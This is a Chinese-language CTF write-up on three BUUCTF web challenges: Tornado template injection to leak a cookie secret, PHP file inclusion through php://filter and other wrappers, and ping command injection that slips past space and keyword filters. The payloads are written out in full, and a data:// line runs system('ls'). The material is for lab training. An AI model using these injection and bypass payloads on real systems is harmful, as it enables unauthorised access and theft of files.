BUUCTF涨见识之旅(一)

    科技2024-11-07  9

    buuctf

    前言easy_tornadoinclude补充file://协议php://协议php://filter协议php://input协议 zip://协议compress.bzip2://compress.zlib://data:// PING PING PING

    前言

    经过几周的联系,感觉自己可以接触buuctf上面的题了,就去尝试了一下,结果可真的是让我涨了好多见识啊! 卑微.jpg

    easy_tornado

    刚打开题目环境,发现了三个文件 依次打开发现

    接着发现url框里的get内容http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/file?filename=/hints.txt&filehash=0dd45678a8a1205a0110d2450a842825 然后这里就有了一点点头绪。就是flag在/fllllllllllllag这个目录下,然后还要进行md5加密,所以构造payload为:

    http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=加密后的内容

    然后现在问题就是cookie_secret这个是什么。由于第一次遇见,所以就来请问师傅百度了。(顺便百度了一下render函数是什么)发现: render是python的一个模板,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。 又加上题目提示tornado,所以就搜索到了cookie_secret存放在handler.settings中。 然后还意外地看到了大佬们的wp,说是ssti模板注入。然后验证是否为模板注入。 第一次构造payloadfile?filename=/fllllllllllllag提示error。并且url框出现 然后尝试http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/error?msg={{1}}发现页面出现 接着尝试http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/error?msg={{1*8}}页面提示 说明存在模板注入。 接着就构造payload获得cookie_secret的值http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/error?msg={{handler.settings}} 得到 然后进行最后的md5加密用了PHP代码

    <?php $cookie_secret='b2b852cd-7505-4918-82d8-8ceab6e24cc9'; $filename='/fllllllllllllag'; $eco=md5($cookie_secret.md5($filename)); echo $eco; ?>

    得到了最终的filehash值 所以构造最终payload:http://db2df9d1-b1b7-4b96-aa02-7585d17c0921.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=16e766d7895b3c30ee8f3bafaa43d271 得到flag

    include

    打开题目 点开之后提示 然后就开始find flag。刚开始没看题目,就一股脑做了,用了各种方法,抓包,f12,注入等等,发现始终只有一个样式。 然后就知道了看题目的重要性。发现了题目名称是include。于是想到了文件包含和php伪协议。 所以就构造payload?file=php://filter/read=convert.base64-encode/resource=flag.php 得到base64编码后的字符 然后base64解码得到flag

    补充

    php伪协议

    常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://

    file://协议

    file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

    使用方法:

    file://文件绝对路径和文件名

    php://协议

    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

    php://filter协议

    php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

    使用方法

    ?file=php://filter/read=convert.base64-encode/resource=

    php://input协议

    这个是平时做题用的比较多的。一般用来传一句话木马。不过注意是在POST方式传代码。

    zip://协议

    使用方法:

    zip://archive.zip#dir/file.txt

    zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

    compress.bzip2://

    使用方法:

    compress.bzip2://file.bz2

    compress.zlib://

    使用方法:

    compress.zlib://file.gz

    data://

    data协议也是平时做题经常遇见的。 常用形式:?file=data://text/plain;base-64,<?php system('ls');?>

    PING PING PING

    打开题目,发现了 题目提示ping,然后页面有一个?ip=,所以应该是在搜索框里用get方式进行ping。 所以尝试:?ip=127.0.0.1 ping通了,说明思路没错,然后就查看了一下当前目录下的文件?ip=127.0.0.1|ls 发现有一个flag.php的文件,说明最后答案就在里面。然后就?ip=127.0.0.1|cat index.php (因为出现了两个文件,防止有什么绕过在这个文件里,就先查看了一下) 发现 说明在命令行里有什么被过滤了,接着就猜测应该是存在了空格过滤,就尝试了一下 发现的确是空格过滤,于是就百度了一下常见的空格过滤绕过方式

    <<>%20(space)%09(tab)$IFS$9${IFS}$IFS

    发现是这几个。然后在这个题目里一个一个试,发现是$IFS$,所以尝试?ip=127.0.0.1|cat$IFS$1index.php

    /?ip= /?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){//过滤了bash die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){//过滤了flag的正则匹配 die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>

    元字符.:表示匹配除了换行符\n以外的任意字符 元字符*:表示多次匹配*前面的内容 .*连在一下,表示匹配任意次的不包含换行符的字符

    然后利用黑名单拼接, 构造最终payload: ?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php 发现正常 然后F12,在控制窗口找到flag flag=flag{ad04b7ca-ebe6-43dd-a5e2-f8aac85c784c}

    Processed: 0.022, SQL: 8